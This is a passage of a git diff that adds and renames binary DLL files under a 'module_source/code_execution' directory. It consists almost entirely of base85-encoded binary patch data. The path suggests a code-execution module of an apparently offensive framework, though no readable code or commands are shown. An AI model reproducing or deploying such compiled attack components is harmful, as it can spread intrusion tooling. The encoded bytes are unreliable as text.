z*k{DyB45;6aF77@ncdC5XVV9(?jI)z8s^hN@*C~AB(acco|2A~^Ddog@8xXp-o#|i
ztLSm~z>@CDR_=TprhUns7P<PeCit|~iSzeeF!;gv>UO$q&;r-1+tX(@O}UG;Y=|6J
z%%2lqi%?s)?z(9%%NY4)Jc=;<;^tI|k>4dgg+&FrtR~$ztTiJw?X)8c_ucAz62tUJ
zs)DUJW6rb%WV~5jZ+YOW{-8QVRy)o6=1;GyDqCN=KQ$dQx%W~p6PZe`bAqoOAInO9
zk49rXbHX*BX~P|_$L%T6^IHb?iCm0vWV|gy?iO}=@_si?+zR@fv9VC`F7`(J<1FT-
z8}qMAdD&LTF=8}mZ6a)|lM`Onm3f9Ts{Q`-Mcw_Xk2DX?x{GVCt|eCvm#M9oYU2`H
zj(jKN{${)SC&K|CzyOW5yWxNXu~p<>C3F1F+CK`pe`Z_QS9foc5*!VARk|&2+C|XW
zlUJu+bx0QC{-jL6_JqucdVn!=2TfZ{S^Atrn2Z<mNt*7Ko3Nr51gS+vN|8mLFP}K<
zabc9&*4s)`H8VHsg7s9vOGxM5I0>UV!kJHkOCiIV3wJaX0?Wm>slEIeO_wWTjM!{v
zORpfD-pe+AaKdChw&A+AI8vFCUbb?cJNG!&7hjD$hgR9~ZnL5J9I^8)mYBF?TJwAG
z8VTQJVp|R@FgJPZiNL08CE7qEfBC0JFv3FwX8=iF6-}MVsxH^b$TxPMb7*M;eR^0%
zVYv;Ov#l(jGXm566HHO`52cK?i2C!O9L<u@$?%-MDQ&j#)If*_I5RcfW7^ZHe`8*d
z#zhJ;@2>-Y2p!JV!$VWJPcM#OW8nhyPCq+yTWRy8pc?^nT?YCQfUf$tAnrd69-P(D
z-U}Wm0HO#%MG0l3pokI@DIx&yeL?CR-y?OHwv)Syr4>va{I3Tvwg5iy-_qgRjsuQ+
z@d$AGtI06{2P4%1>jOmLaJb>Y4g~OJ2l#ZF<6kKzI2Anx@B^g3EC4ERyA%-&-Er9d
z@`8@>%h5-s1iMEizBw091RNnA7$x=yYYHhqyn8-`e%d^B|20u6?1#_0H&@}GIUHFk
zmWw-A97hNrkKf)A=cCW#NA(GfcZjo{nZ#LIP~4daJvHdr?_E^GWa5Zv6r82<j&~ir
zkkpg2ZpqTI>W!e7O7$$VcU-C6A+01@yhEC<iq1FJp}dU|EPraJ*z@9wA7sP+ICrpb
zYNZDmzP-oUuKGeXY2#FerzSz+sHHRB5f0+V=8ZcfFD<Ym<Rd}^*aCG~ULnP-iW}gB
z&(Xr1)*Vr(Ek#{rGHF(w5A~5k$q<GD5_2rH{60_3+hK)<2YxIrO%+SY)2H!+qnrgd
z+bL%%pr7SO&HQ0c=va@FuRr2?7;0QGcg|vQl|i@<Im{n+sBtL$D%6J;bSr@JHs0jk
zofrDo(mzn)`VP%}t8fM4@&U{T;s$7(q4-X|0DhFLepXRSmlT{mH)TDm8N22`9{ZrL
znaUWD`uPM#M*q6~c>q1~%>sDjBIs5C-3*`~1Lz$5!@qUQf|@me4#@EPFZzx^50J^k
zJKT#&L=y5*b5y=ilzWDjZN<0OIoM%#Z5WY_Ec1sx&88@1liX#-Hk^{WSDwOCNy>v@
zB*a`@O6ntj;P7ds)PtbZIk8G=Q#*X4Evq{FQ?9H&rN>-nMheZOJ1uW+rWS{)O$aM_
z8iMd7&l}4;w-)d9Hq88+%86x)s>y(>mh^Ik7z*WD+*2z-8n0f;RB<2HW4fv8Lfv+P
z+V$QcA`NlJNJKs^=E%qMqn87gpA|cF(v4f?n?CMzH0?rFXbG@bY`bi&wA4CYN`sVC
zB6YcKW%^q3>%y2q8c>L&Gi3D9sKPr9L^nwK$tHE@nzw2@1==Q4s6}tf$XZ=GI&W3)
gw19m9O?h}eB8JASutoHWqVHVsC$-rI@WHSD08R|s#sB~S

literal 0
HcmV?d00001

diff --git a/data/module_source/code_execution/ntsdexts.dll b/data/module_source/code_execution/ntsdexts_x64.dll
similarity index 100%
rename from data/module_source/code_execution/ntsdexts.dll
rename to data/module_source/code_execution/ntsdexts_x64.dll
diff --git a/data/module_source/code_execution/ntsdexts_x86.dll b/data/module_source/code_execution/ntsdexts_x86.dll
new file mode 100644
index 0000000000000000000000000000000000000000..b54891dbc7b273f087e79472fa5354f357216908
GIT binary patch
literal 81864
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
